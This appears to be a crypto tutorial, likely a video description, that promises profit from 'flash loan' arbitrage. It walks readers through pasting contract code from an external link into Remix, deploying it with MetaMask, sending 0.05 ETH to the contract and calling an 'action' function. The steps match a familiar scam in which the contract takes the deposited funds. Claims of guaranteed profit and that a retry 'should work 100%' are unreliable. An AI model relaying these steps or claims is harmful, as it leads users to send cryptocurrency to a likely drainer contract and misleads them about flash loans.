Flash Loans. How to Trade Crypto. Leverage and Margin Trading. “Why would anyone borrow millions of dollars if they have to give it back in 10 seconds?” And the answer is Profit… A second reason is Collateral Swaps. With a Flash Loan you are actually able to SWAP out your Collateral on a loan for another Asset all within a single 10 second transaction. A flash loan has to be borrowed and repaid within the same blockchain transaction. Step By Step Tutorial for Flash Loan: Step 1: Open and setup Remix in browser ( Step 2: Click the contracts folder then the create new file icon, create a file call it flashloans.sol hit ENTER (Create this file in the contracts folder (Watch Video) Step 3: Copy and paste the contract code link below into REMIX Panel ► Step 4: Click Solidity Compiler Icon (2nd menu button from the left) and then Change Compiler version to 0.5.0 Step 5: Click compile flashloans.sol (Wait for the code to compile… wait 1-5 minutes until finish) Step 6: Change Environment to (Injected Web3) Step 7: Connect your wallet when prompted (Metamask Preferable) Step 8: Enter your token details and deploy the contract (TYU token) Step 9: Enter your token Symbols (TYU) Step 10: Enter Loan Amount Minimum should be (500) Step 11: Click Deploy & Run transaction icon Step 12: Click confirm on wallet/metamask (wait for confirmation) Step 13: COPY the Contract Address & PASTE in your METAMASK Step 14: Click NEXT on METAMASK & after Paste Contract Address & the AMOUNT of 0.05 ETH to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, it’s going to take around 0.000316 ETH fees) Step 15: Wait for the transaction to confirm. Step 16: Click confirm Step 17: Call “action” function. Step 18: Click confirm Step 19: DONE Under some very rare cases, the arbitrage might fail due to depletion of Asset in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction and it should work 100%. Make sure to transfer your Asset out to another wallet when you’re done. Thank you. Please Like & Subscribe.
source